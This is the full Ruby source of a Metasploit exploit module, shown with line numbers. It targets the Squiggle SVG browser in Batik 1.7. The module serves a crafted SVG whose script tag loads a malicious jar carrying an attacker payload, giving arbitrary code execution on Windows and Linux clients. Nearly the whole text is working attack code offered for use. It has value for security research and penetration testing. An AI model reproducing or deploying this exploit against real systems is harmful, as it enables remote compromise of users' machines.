Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpServer::HTML
10

11
  def initialize(info={})
12
    super(update_info(info,
13
      'Name'           => "Squiggle 1.7 SVG Browser Java Code Execution",
14
      'Description'    => %q{
15
          This module abuses the SVG support to execute Java Code in the
16
        Squiggle Browser included in the Batik framework 1.7 through a
17
        crafted SVG file referencing a jar file.
18

19
        In order to gain arbitrary code execution, the browser must meet
20
        the following conditions: (1) It must support at least SVG version
21
        1.1 or newer, (2) It must support Java code and (3) The "Enforce
22
        secure scripting" check must be disabled.
23

24
        The module has been tested against Windows and Linux platforms.
25
      },
26
      'License'        => MSF_LICENSE,
27
      'Author'         =>
28
        [
29
          'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC
30
          'sinn3r',           # Metasploit module
31
          'juan vazquez'      # Metasploit module
32
        ],
33
      'References'     =>
34
        [
35
          ['OSVDB', '81965'],
36
          ['URL', 'http://www.agarri.fr/blog/']
37
        ],
38
      'Payload'       =>
39
        {
40
          'Space' => 20480,
41
          'BadChars' => '',
42
          'DisableNops' => true
43
        },
44
      'DefaultOptions'  =>
45
        {
46
          'EXITFUNC' => 'thread'
47
        },
48
      'Platform'       => %w{ java linux win },
49
      'Targets'        =>
50
        [
51
          [ 'Generic (Java Payload)',
52
            {
53
              'Arch' => ARCH_JAVA,
54
            }
55
          ],
56
          [ 'Windows Universal',
57
            {
58
              'Arch' => ARCH_X86,
59
              'Platform' => 'win'
60
            }
61
          ],
62
          [ 'Linux x86',
63
            {
64
              'Arch' => ARCH_X86,
65
              'Platform' => 'linux'
66
            }
67
          ]
68
        ],
69
      'Privileged'     => false,
70
      'DisclosureDate' => '2012-05-11',
71
      'DefaultTarget'  => 0))
72

73
  end
74

75
  def on_request_uri(cli, request)
76

77
    agent = request.headers['User-Agent']
78
    jar_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
79
    jar_uri << "/#{rand_text_alpha(rand(6)+3)}.jar"
80
    rand_text = Rex::Text.rand_text_alphanumeric(rand(8)+4)
81

82
    if request.uri =~ /\.jar$/
83
      paths = [
84
        [ "Exploit.class" ],
85
        [ "Exploit$1.class"],
86
        [ "META-INF", "MANIFEST.MF"]
87
      ]
88

89
      p = regenerate_payload(cli)
90

91
      jar  = p.encoded_jar
92
      paths.each do |path|
93
        1.upto(path.length - 1) do |idx|
94
          full = path[0,idx].join("/") + "/"
95
          if !(jar.entries.map{|e|e.name}.include?(full))
96
            jar.add_file(full, '')
97
          end
98
        end
99

100
        fd = File.open(File.join( Msf::Config.data_directory, "exploits", "batik_svg", path ), "rb")
101
        data = fd.read(fd.stat.size)
102
        jar.add_file(path.join("/"), data)
103
        fd.close
104
      end
105

106
      print_status("#{cli.peerhost} - Sending jar payload")
107
      send_response(cli, jar.pack, {'Content-Type'=>'application/java-archive'})
108

109
    elsif agent =~ /Batik/
110
      svg = %Q|
111
      <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
112
      <script type="application/java-archive" xlink:href="#{jar_uri}"/>
113
      <text>#{rand_text}</text>
114
      </svg>
115
      |
116

117
      svg = svg.gsub(/\t\t\t/, '')
118
      print_status("#{cli.peerhost} - Sending SVG")
119
      send_response(cli, svg, {'Content-Type'=>'image/svg+xml'})
120

121
    else
122
      print_error("#{cli.peerhost} - Unknown client request: #{request.uri.inspect}")
123
    end
124
  end
125
end
126

127

128